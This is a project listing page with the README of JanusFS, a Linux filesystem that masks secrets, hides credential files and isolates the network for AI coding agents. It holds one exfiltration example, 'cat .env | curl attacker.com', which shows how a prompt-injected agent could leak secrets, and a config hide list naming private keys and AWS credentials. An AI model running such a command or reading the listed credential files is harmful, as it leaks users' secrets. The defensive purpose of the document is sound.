Outsider Stage 0.5
Replay and verify a real, sealed Outsider Stage 0.5 intervention chain.
Translation pending
A policy-enforcing filesystem for AI agents. Point it at a real project directory and it serves a filtered mirror — same paths, same sizes — deciding per read which face of each file to show.
SecurityHTML · GoGitHub @sarathsp06OnlineOwner unconfirmed
Have you tried it? One tap is enough. No sign-in needed.
Owners of public repositories under a personal GitHub account can sign in to verify ownership and manage the introduction themselves. No administrator approval is needed.
Sign in, generate a verification file, and commit it to this repository’s default branch within 30 minutes. Files on other branches or forks do not count. Then check the file below to manage the project without administrator approval. Keep the file to retain your access.
If needed, you will go to sign-in. After signing in, return here and press your chosen verification button again.
Run /nomorevibe verify in your project folder to verify ownership and manage the introduction yourself.
Verify in one minuteAsk about other verification options
Secret-masking filesystem for AI agents: secrets read as ****, byte-length preserved, enforced at the FS boundary. Kernel-enforced on Linux via janusfs exec; composes with your sandbox instead of replacing it.
Taken from the repository README
Loading the full README. The saved excerpt is shown below.
JanusFS is a policy-enforcing filesystem for AI agents. Sandboxes (Seatbelt, Landlock, bubblewrap, Docker) answer one question per path: allow or deny. Deny breaks the agent; allow leaks the secret. JanusFS adds the third answer — masked: a filtered virtual filesystem backed by your real project, where allowed files pass through, sensitive spans are redacted in place byte-for-byte, and forbidden files fail closed with EACCES. Run it as janusfs exec -- and the agent lives inside that boundary — kernel-enforced on Linux — composing with whatever sandbox you already run.Read the full README ↗JanusFS is a policy-enforcing filesystem for AI agents. Sandboxes (Seatbelt, Landlock, bubblewrap, Docker) answer one question per path: allow or deny. Deny breaks the agent; allow leaks the secret. JanusFS adds the third answer — masked: a filtered virtual filesystem backed by your real project, where allowed files pass through, sensitive spans are redacted in place byte-for-byte, and forbidden files fail closed with EACCES. Run it as janusfs exec -- <your-agent> and the agent lives inside that boundary — kernel-enforced on Linux — composing with whatever sandbox you already run. And because reading a secret is only half the risk, janusfs exec --net=none adds a second layer of network isolation — a loopback-only namespace with no route out — so even bytes the agent already read cannot be exfiltrated.
In Roman myth, Janus is the two-faced god of doorways — he looks both ways. JanusFS stands at the doorway between your code and any untrusted agent, deciding which face of each file is safe to show.
📖 The full story — the allow/deny dilemma, diagrams, use cases, and how it compares — lives on the docs site: sarathsp06.github.io/janusfs. This README is the quick reference.
JanusFS runs on Linux only. On a Mac or Windows, run it inside a Linux container or VM (Docker Desktop, Colima, OrbStack, a devcontainer) launched with --device /dev/fuse --cap-add SYS_ADMIN.
# 1) install the FUSE runtime
sudo apt-get install -y fuse3 libfuse3-dev # Debian/Ubuntu
# sudo dnf install -y fuse3 fuse3-devel # RHEL/Fedora
# 2) install JanusFS — prebuilt Linux binary (verified against checksums.txt)
curl -fsSL https://raw.githubusercontent.com/sarathsp06/janusfs/main/install.sh | sh
# or build from source: go install github.com/sarathsp06/janusfs/cmd/janusfs@latest
# 3) seed secure defaults and preview before you mount
cd my-project
janusfs init # writes a .janusfs.yml template
janusfs check --secrets # warn about likely secrets still readable
janusfs explain .env # trace which rule decides a file's fate
# 4) run your agent INSIDE the boundary (strongest: kernel-enforced)
janusfs exec --dry-run # preview: what is protected, hidden, masked — runs nothing
janusfs shell # poke around inside the boundary yourself: cat .env → ****
janusfs exec -- aider # the agent + everything it spawns sees the filtered view
janusfs exec --net=none -- aider # …and cannot reach the network to exfiltrate what it read
Inside the view, cat .env yields API_KEY=**** (same length), .env still lists with its real size, and a hidden id_rsa fails closed with Permission denied.
Prefer a persistent mount over exec? janusfs daemon --background then janusfs mount . gives a long-lived mountpoint and a dashboard at http://127.0.0.1:7381/.
allow — native passthrough; the agent reads the real bytes.mask — secret spans replaced byte-for-byte with *, so file sizes and offsets never change and tooling stays intact.hide — fails closed with EACCES.Precedence is strict — Hidden > Masked > Allowed — and any parser error, cache fault, or redactor panic resolves the path to Hidden, never raw bytes. Real files are never modified; redacted bytes live only in RAM.
One .janusfs.yml drives all three, with .gitignore-style globs plus a named pattern library:
version: 1
hide: ["*.pem", "*.key", "id_rsa*", ".aws/credentials", "node_modules/"]
allow: [".aws/known_public_config"]
mask:
- { paths: ["*.env*"], patterns: [env-value] }
- { paths: ["**/*"], patterns: [aws-key, github-token, jwt, private-key] }
- { paths: ["config/**/*.yaml"], patterns: [generic-secret, db-uri] }
- { paths: ["secrets/*"] } # no patterns → whole-file mask
Rules are hierarchical (deeper overrides shallower), and machine-wide defaults in ~/.janusfs/config/ act as a fail-closed floor no repo rule can loosen. janusfs patterns prints every built-in regex; janusfs explain <path> traces one file's fate. Full config and pattern reference is on the docs site.
Pointing an agent at a mountpoint only trusts its discipline — nothing stops a process from reaching the real source at its own path. janusfs exec instead confines the whole process tree in a private mount namespace where the filtered view replaces the source at its own path: git, npm, grep, every child inherits it, with no per-tool wiring and no way to opt out.
janusfs exec -- aider # masked tree, host network
janusfs exec --net=none -- aider # + no network at all (loopback only)
janusfs exec --net=host -- claude # default: share the host network (no isolation)
janusfs exec --dry-run # show the plan and every hidden/masked file; run nothing
janusfs shell --net=none # an interactive shell inside the same boundary
You can see it working. Every session starts with a two-line banner on stderr naming the protected tree and the network mode (and where that mode came from), and ends with one line of feedback — 3 masked file(s) read (.env, config/app.yml), 1 hidden path(s) denied (id_rsa) — so there is never any doubt whether the boundary was on. --quiet/-q silences both; security warnings still print. Inside the boundary the environment carries JANUSFS_EXEC=1, so a prompt can show it (bash: PS1='${JANUSFS_EXEC:+[janusfs] }'"$PS1"). janusfs exec --dry-run (--json for scripts) prints what a run would do — the protected tree, the network mode, whether this host can enforce at all, and every file that would be hidden or masked — on any OS, including a Mac, before the agent runs on a Linux box. janusfs doctor answers "can I sandbox an agent here?" in its first lines. Exit codes follow the docker run/timeout convention: the child's own code, or 125 when JanusFS itself could not start, 126 when the command cannot be executed, 127 when it is not found.
Per-project defaults. A project can declare its exec defaults in .janusfs.yml:
exec:
net: none # every `janusfs exec`/`janusfs shell` in this repo is network-isolated
A project can only tighten: net: none turns isolation on by default, while net: host never loosens a none set machine-wide in ~/.janusfs/settings.json or JANUSFS_EXEC_NET. An explicit --net=host on the command line still wins (you are at the keyboard), with a one-line note that the project asked for otherwise.
A second layer: cut the network too. Masking keeps secret bytes out of the agent; --net=none keeps whatever it did read from leaving the box. It runs the process tree in a network namespace with only a loopback interface and no external route — deny-all, kernel-enforced, so a leaked secret has nowhere to go. This is deny-all, not an egress allowlist (that is the container's job). The default is host (no isolation); opt in per run, or set exec_net in ~/.janusfs/settings.json.
How it compares. No other tool masks secrets in place at the filesystem layer with the file's shape preserved; the alternatives deny the file, swap in a different-length sentinel behind a proxy, or redact inside one agent tool that cat and grep bypass. The survey, with links, and how the top user complaints about agent sandboxes map onto janusfs exec's behaviour: docs/LANDSCAPE.md.
Why not just a sandbox? A sandbox protects the machine from the agent; JanusFS keeps secret bytes out of the agent's context, transcript, and model provider. Deny .env and the agent breaks when it needs the file's shape; allow it, and one prompt injection later cat .env | curl attacker.com exfiltrates it. Run both. Non-Linux is refused, not faked — use a Linux container/VM. Details on the docs site; a path-preserving macOS mode was considered and rejected in SPEC.md §20.
One caveat, warned loudly. Because
.git/passes through to the real object store,git addon a masked file stages the****bytes.janusfs checkandjanusfs execboth report every masked file git would stage — keep secret files out of the agent's commits, or give it a scratch clone.
| Command | Purpose |
|---|---|
janusfs install | Optional setup: choose a custom mount root with --root (saved to ~/.janusfs/settings.json). --global-rules also seeds ~/.janusfs/config/. |
janusfs daemon | Run the long-lived daemon: owns every mount, resumes recorded ones, serves the dashboard. --background, --ui-port (default 7381), --no-open, --debug. |
janusfs logs [-f] | Show the background daemon's log; -f follows it. |
janusfs mount <src> [mountpoint] | Ask the daemon to mount a policy-enforced view and return immediately. --name "<label>" sets a dashboard name only. |
janusfs mounts [--json] | List active daemon mounts and recorded entries (mounted, recorded, missing-src, stale, error). |
janusfs update [src|mountpoint|configpath] | Re-apply edited .janusfs.yml without remounting (no arg = all mounts). |
janusfs path <src> | Print the mountpoint for a mounted source. |
janusfs umount <mountpoint|src> | Unmount via the daemon; prunes stale entries; OS-unmount fallback if no daemon. |
janusfs paths | List the config/data paths JanusFS uses and whether each exists. |
janusfs init [dir] | Write secure-default .janusfs.yml to [dir] (default cwd). --global writes to ~/.janusfs/config/. |
janusfs check [path] | Static linter: unknown builtins, bad regex (with its fail-closed consequence), directory-mask globs that can never mask, no-op negations. --secrets adds a heuristic scan for likely-Allowed secrets; --matches lists Hidden/Masked files; --json. |
janusfs patterns | List every reserved built-in mask pattern with its regex. --json. |
janusfs explain <path> |
All commands support --help and script-friendly exit codes; errors print as a one-line cause, never a Go stack trace.
janusfs exec's private mount namespace — the only platform JanusFS runs on. It is not a sandbox against a process that has another route to the source.EACCES, never raw bytes.(mtime, size, inode) against the cache key and goes through a descriptor retained at mount time with O_NOFOLLOW, so a swapped symlink cannot redirect it..janusfs.yml is read-only through the mount; the dashboard's mutating endpoints require the per-mount bearer token and never serve raw source bytes.janusfs exec --net=none runs in a loopback-only network namespace, closing the exfiltration channel for bytes already read.~/.janusfs/ is 0700 and every file inside is 0600, so the config, run state, and history DB that describe your secrets are not world-readable.See docs/THREAT_MODEL.md for the full boundaries / assets / leak-channels table and SPEC.md for the binding contract.
For building, formatting, running unit and FUSE integration tests, and validating the release config locally, see the Development Guide.
JanusFS is licensed under the MIT License.
Trace why one path resolves the way it does; prints every contributing rule. --json, --root. |
janusfs doctor | Runtime health: whether janusfs exec can enforce here (with the remedy if not), FUSE status, active mounts, stale-mount/watchdog checks. |
janusfs exec [--net=host|none] [--quiet] [--dry-run [--json]] -- <command> [args...] | Run a command inside a real, kernel-enforced view of the current source tree (private mount namespace; no daemon required). --net=none denies all network (loopback only). --dry-run previews the boundary without running anything (works on any OS). Prints a start banner and an end-of-session summary unless --quiet. Linux-only: refuses on other OSes. |
janusfs shell [--net=host|none] [--quiet] | Open $SHELL inside the same boundary, to check a policy by hand. Same flags as exec. |